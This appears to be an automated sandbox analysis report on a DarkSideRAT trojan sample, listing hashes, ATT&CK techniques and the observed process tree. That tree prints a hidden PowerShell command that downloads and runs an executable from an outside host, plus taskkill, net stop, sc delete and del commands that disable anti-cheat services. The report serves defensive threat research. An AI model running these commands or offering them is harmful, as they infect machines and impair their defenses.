darksiderat | a2ec046b3e872d1aa526a58fde067e05277a492a898cb1d5b0f9f7a8c5b9287c

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
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arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
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General

Target
2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe
Size 3.8MB
Sample261002-l2s29avfnc
SHA256 a2ec046b3e872d1aa526a58fde067e05277a492a898cb1d5b0f9f7a8c5b9287c
MD5 852a0d6a34a09a71b8bbefacb0e055e0
SHA1 bfbc5b20dec802678cdccc920d304854d544ad1a
SHA512 37ddb52f412bab25b54494ba1276f60ad41e52f57820b4913d94dc0180038d687329ea329f8a57a7dbe182846e9fa8bc96a498a5b6371bc0ae8fceea1737168b
SSDEEP 49152:h7+3o+o9hEj2+9a1CGiicJ5Cm/iZ7GDoYAwPr/ygqAvHIGzvfddaNI3zAJDBAZfz:SWNw/iZ7GUVqWltijRj2DBAZEU
TLSH
T14606DF46E7E010E9D673923489529712EA31BC250B309BDB739C97990F337D4AF3A726
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x000f00000001c55f-13.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2100	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
5	2100	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5276	BK311194.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2408	sc.exe
5652	sc.exe

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2828	cmd.exe
852	cmd.exe
1816	cmd.exe
3016	cmd.exe
4092	cmd.exe
4952	cmd.exe
3400	cmd.exe
3036	cmd.exe
1912	cmd.exe
3448	cmd.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
5164	taskkill.exe
4812	taskkill.exe
6060	taskkill.exe
3704	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2100	powershell.exe
2100	powershell.exe
2100	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5164	taskkill.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	4812	taskkill.exe
Token: SeDebugPrivilege	6060	taskkill.exe
Token: SeDebugPrivilege	3704	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 3448	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	90
PID 4248 wrote to memory of 3016	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	92
PID 3448 wrote to memory of 5164	3448	cmd.exe	94
PID 3016 wrote to memory of 2828	3016	cmd.exe	95
PID 2828 wrote to memory of 2100	2828	cmd.exe	98
PID 4248 wrote to memory of 4092	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	99
PID 4092 wrote to memory of 4812	4092	cmd.exe	101
PID 4248 wrote to memory of 4952	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	102
PID 4952 wrote to memory of 6060	4952	cmd.exe	104
PID 4248 wrote to memory of 3400	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	105
PID 3400 wrote to memory of 3704	3400	cmd.exe	107
PID 4248 wrote to memory of 852	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	108
PID 852 wrote to memory of 464	852	cmd.exe	110
PID 464 wrote to memory of 912	464	net.exe	111
PID 4248 wrote to memory of 3036	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	112
PID 3036 wrote to memory of 5580	3036	cmd.exe	114
PID 5580 wrote to memory of 5704	5580	net.exe	115
PID 4248 wrote to memory of 1912	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	116
PID 1912 wrote to memory of 2408	1912	cmd.exe	118
PID 4248 wrote to memory of 1816	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	119
PID 1816 wrote to memory of 5652	1816	cmd.exe	121
PID 4248 wrote to memory of 5868	4248	2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe	122
PID 2100 wrote to memory of 5276	2100	powershell.exe	124

C:\Users\Admin\AppData\Local\Temp\2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-01_852a0d6a34a09a71b8bbefacb0e055e0_cobalt-strike_icedid_njrat_rhadamanthys_satacom_stealc.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM vgc.exe /T
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vgc.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_vPJusL' -OutFile $env:APPDATA\BK311194.exe; Start-Process -FilePath $env:APPDATA\BK311194.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_vPJusL' -OutFile $env:APPDATA\BK311194.exe; Start-Process -FilePath $env:APPDATA\BK311194.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_vPJusL' -OutFile $env:APPDATA\BK311194.exe; Start-Process -FilePath $env:APPDATA\BK311194.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2100
    - - C:\Users\Admin\AppData\Roaming\BK311194.exe
        
        "C:\Users\Admin\AppData\Roaming\BK311194.exe"
        5⤵
        Executes dropped EXE
        
        PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM vgk.sys /T
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vgk.sys /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM vgtray.exe /T
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vgtray.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM RiotClientServices.exe /T
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM RiotClientServices.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop vgc /y
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:852
- - C:\Windows\system32\net.exe
    net stop vgc /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vgc /y
      4⤵
      PID:912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop vgk /y
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\net.exe
    net stop vgk /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5580
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop vgk /y
      4⤵
      PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete vgc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\sc.exe
    sc delete vgc
    3⤵
    - Launches sc.exe
    PID:2408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete vgk
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\sc.exe
    sc delete vgk
    3⤵
    - Launches sc.exe
    PID:5652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q "C:\Windows\System32\drivers\vgk.sys"
  2⤵
  PID:5868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

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__PSScriptPolicyTest_svfyafrd.uqx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svfyafrd.uqx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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BK311194.exe

Path C:\Users\Admin\AppData\Roaming\BK311194.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/2100-8-0x00000240EDA20000-0x00000240EDA42000-memory.dmp

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